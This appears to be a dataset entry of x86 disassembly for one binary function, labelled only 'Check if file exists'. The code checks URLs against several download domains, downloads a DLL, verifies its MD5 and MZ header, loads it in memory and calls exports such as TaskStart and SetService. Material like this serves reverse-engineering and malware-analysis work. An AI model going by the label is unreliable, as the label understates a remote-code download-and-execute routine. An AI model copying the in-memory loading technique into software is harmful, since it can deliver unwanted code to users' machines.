Function at 0x42d640
Capabilities:
Check if file exists

Disassembly:
push 0xffffffffffffffff
push 0x51f35c
mov eax, dword fs:[0]
push eax
sub esp, 0x170
mov eax, dword [0x56b338]
xor eax, esp
mov dword [esp + 0x168], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x56b338]
xor eax, esp
push eax
lea eax, [esp + 0x184]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x194]
mov esi, ecx
mov ebx, edx
mov edi, ebp
mov dword [esp + 0x20], esi
mov dword [esp + 0x18], ebx
call fcn.0042e600
push 0x1b
push str.http:__downsrf.eastday.com_
push esi
xor eax, eax
xor edi, edi
call fcn.0040ea40
cmp eax, 0xffffffff
jne 0x42d6e7
push 0x1b
push str.http:__down.znyshurufa.com_
push esi
xor eax, eax
call fcn.0040ea40
cmp eax, 0xffffffff
jne 0x42d6e7
push 0x1a
push str.http:__down.sgshurufa.com_
push esi
xor eax, eax
call fcn.0040ea40
cmp eax, 0xffffffff
jne 0x42d6e7
push 0xe
push str.znyshurufa.com
push esi
xor eax, eax
call fcn.0040ea40
cmp eax, 0xffffffff
je 0x42d6ec
mov edi, 1
push 0x1c
push str.https:__downsrf.eastday.com_
push esi
xor eax, eax
call fcn.0040ea40
cmp eax, 0xffffffff
jne 0x42d74f
push 0x1c
push str.https:__down.znyshurufa.com_
push esi
xor eax, eax
call fcn.0040ea40
cmp eax, 0xffffffff
jne 0x42d74f
push 0x1b
push str.https:__down.sgshurufa.com_
push esi
xor eax, eax
call fcn.0040ea40
cmp eax, 0xffffffff
jne 0x42d74f
push 0xb
push str.znshuru.com
push esi
xor eax, eax
call fcn.0040ea40
cmp eax, 0xffffffff
jne 0x42d74f
test edi, edi
jne 0x42d74f
push str.LoadMemDll_Url_Filter_Failed___
call fcn.0041a280
jmp 0x42db14
push 0xffffffffffffffff
push 0
lea edi, [ebp + 4]
push esi
mov ecx, edi
call fcn.00405590
push 0xffffffffffffffff
push 0
push ebx
lea ecx, [ebp + 0x20]
call fcn.00405590
mov ecx, edi
lea ebx, [esp + 0x28]
call fcn.0042e240
mov eax, dword [esp + 0x18]
xor ebx, ebx
mov dword [esp + 0x18c], ebx
mov eax, dword [eax + 0x14]
cmp eax, ebx
jbe 0x42d992
cmp dword [esp + 0x40], 8
mov eax, dword [esp + 0x2c]
jae 0x42d79d
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
mov edi, 7
jne 0x42d81f
push esi
lea ecx, [esp + 0x48]
call fcn.0040d310
sub esp, 0x18
mov ecx, esp
mov dword [esp + 0x38], esp
mov byte [esp + 0x1a8], 1
push 0xffffffffffffffff
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push ebx
lea eax, [esp + 0x4c]
mov word [ecx + 4], bx
call fcn.004020b0
lea ecx, [esp + 0x60]
call fcn.0042e0a0
cmp al, bl
jne 0x42d80f
push str.DownDllToLocal_1_dll_file_Failed___
call fcn.0041a280
add esp, 4
lea ecx, [esp + 0x44]
call fcn.004022c0
lea ecx, [esp + 0x28]
call fcn.004022c0
jmp 0x42db17
lea ecx, [esp + 0x44]
mov byte [esp + 0x18c], bl
call fcn.004022c0
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push 0xffffffffffffffff
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push ebx
lea eax, [esp + 0x4c]
mov word [ecx + 4], bx
call fcn.004020b0
mov ecx, dword [esp + 0x34]
call fcn.0042dcb0
cmp al, bl
jne 0x42d8d5
push esi
lea ecx, [esp + 0x48]
call fcn.0040d310
sub esp, 0x18
mov ecx, esp
mov dword [esp + 0x38], esp
mov byte [esp + 0x1a8], 2
push 0xffffffffffffffff
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push ebx
lea eax, [esp + 0x4c]
mov word [ecx + 4], bx
call fcn.004020b0
lea ecx, [esp + 0x60]
call fcn.0042e0a0
cmp al, bl
jne 0x42d897
push str.DownDllToLocal_2_dll_file_Failed___
jmp 0x42d7f0
sub esp, 0x1c
lea ecx, [esp + 0x44]
mov esi, esp
mov dword [esp + 0x38], esp
push ecx
call fcn.00401ba0
mov ecx, dword [esp + 0x34]
call fcn.0042dcb0
cmp al, bl
jne 0x42d8c1
push str.CheckFileMD5_file_Failed___
jmp 0x42d7f0
lea ecx, [esp + 0x44]
mov byte [esp + 0x18c], bl
call fcn.004022c0
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x2c]
mov edi, 8
cmp dword [esp + 0x40], edi
jae 0x42d8e8
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x42d910
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push esi
call fcn.00405900
mov ecx, ebp
call fcn.0042e3b0
mov esi, eax
jmp 0x42d9c5
cmp dword [esp + 0x40], edi
mov eax, dword [esp + 0x2c]
jae 0x42d91e
lea eax, [esp + 0x2c]
push eax
lea edx, [esp + 0x68]
push edx
call fcn.0042a900
lea esi, [esp + 0x44]
lea eax, [esp + 0x64]
mov byte [esp + 0x18c], 3
call fcn.0042a8c0
mov edi, dword [eax + 8]
add edi, dword [eax]
lea eax, [edi + 0xa]
push eax
mov dword [esp + 0x1c], edi
call fcn.0042e6e8
add esp, 4
lea ecx, [edi + 1]
push ecx
push ebx
push eax
mov dword [ebp + 0x50], eax
call fcn.00436020
add esp, 0xc
lea esi, [esp + 0x64]
call fcn.0042a850
mov eax, dword [ebp + 0x50]
push eax
mov edx, esi
push edx
mov ecx, edi
call fcn.0042b6f0
mov edi, esi
call fcn.0042aa90
mov eax, esi
mov byte [esp + 0x18c], bl
call fcn.0042a250
jmp 0x42d9bc
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push 0xffffffffffffffff
push ebx
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push esi
mov byte [ecx + 4], bl
call fcn.00405590
mov ecx, ebp
call fcn.0042e3b0
mov dword [esp + 0x18], eax
mov esi, dword [esp + 0x18]
mov edi, 8
cmp esi, ebx
jne 0x42d9dd
cmp dword [esp + 0x40], edi
jb 0x42db17
mov eax, dword [esp + 0x2c]
push eax
jmp 0x42db0f
mov ecx, dword [0x563afc]
mov al, byte [0x563b04]
mov edx, dword [0x563b00]
mov dword [esp + 0x170], ecx
mov byte [esp + 0x178], al
lea eax, [esp + 0x170]
lea ecx, [esp + 0x64]
mov dword [esp + 0x174], edx
call fcn.004289a0
mov ecx, dword [ebp + 0x50]
mov dword [esp + 0x164], ebx
mov dword [esp + 0x168], ebx
push esi
mov edx, ecx
lea ebx, [esp + 0x68]
call fcn.00429340
mov edx, dword [ebp + 0x50]
add esp, 4
lea ecx, [esp + 0x24]
push ecx
add esi, 0xfffffff4
push esi
add edx, 0xc
push edx
call fcn.004fec40
test eax, eax
je 0x42db04
cmp byte [eax], 0x4d
je 0x42da5f
cmp byte [eax + 1], 0x5a
jne 0x42db04
push eax
call fcn.0042c3e0
add esp, 4
test eax, eax
mov dword [ebp], eax
je 0x42dad3
push str.TaskStart
mov ecx, eax
call fcn.0042c510
mov ecx, dword [ebp]
add esp, 4
push str.TaskFree
mov dword [ebp + 0x40], eax
call fcn.0042c510
mov ecx, dword [ebp]
add esp, 4
push str.SetService
mov dword [ebp + 0x44], eax
call fcn.0042c510
mov ecx, dword [ebp]
add esp, 4
push str.SetParameter
mov dword [ebp + 0x48], eax
call fcn.0042c510
mov dword [ebp + 0x4c], eax
mov eax, dword [ebp + 0x40]
add esp, 4
test eax, eax
je 0x42dae0
cmp dword [ebp + 0x44], 0
je 0x42dae0
mov esi, ebp
call fcn.0042db50
mov eax, dword [ebp + 0x40]
call eax
lea ecx, [esp + 0x28]
call fcn.004022c0
mov al, 1
jmp 0x42db19
mov ecx, dword [ebp + 0x44]
push ecx
push eax
push str.FreeMemDll_taskStart___X
call fcn.0041a280
add esp, 0xc
mov edi, ebp
call fcn.0042e600
lea ecx, [esp + 0x28]
call fcn.004022c0
jmp 0x42db17
cmp dword [esp + 0x40], edi
jb 0x42db17
mov edx, dword [esp + 0x2c]
push edx
call fcn.0042f3a5
add esp, 4
xor al, al
mov ecx, dword [esp + 0x184]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x168]
xor ecx, esp
call fcn.0042f3aa
add esp, 0x17c
ret 4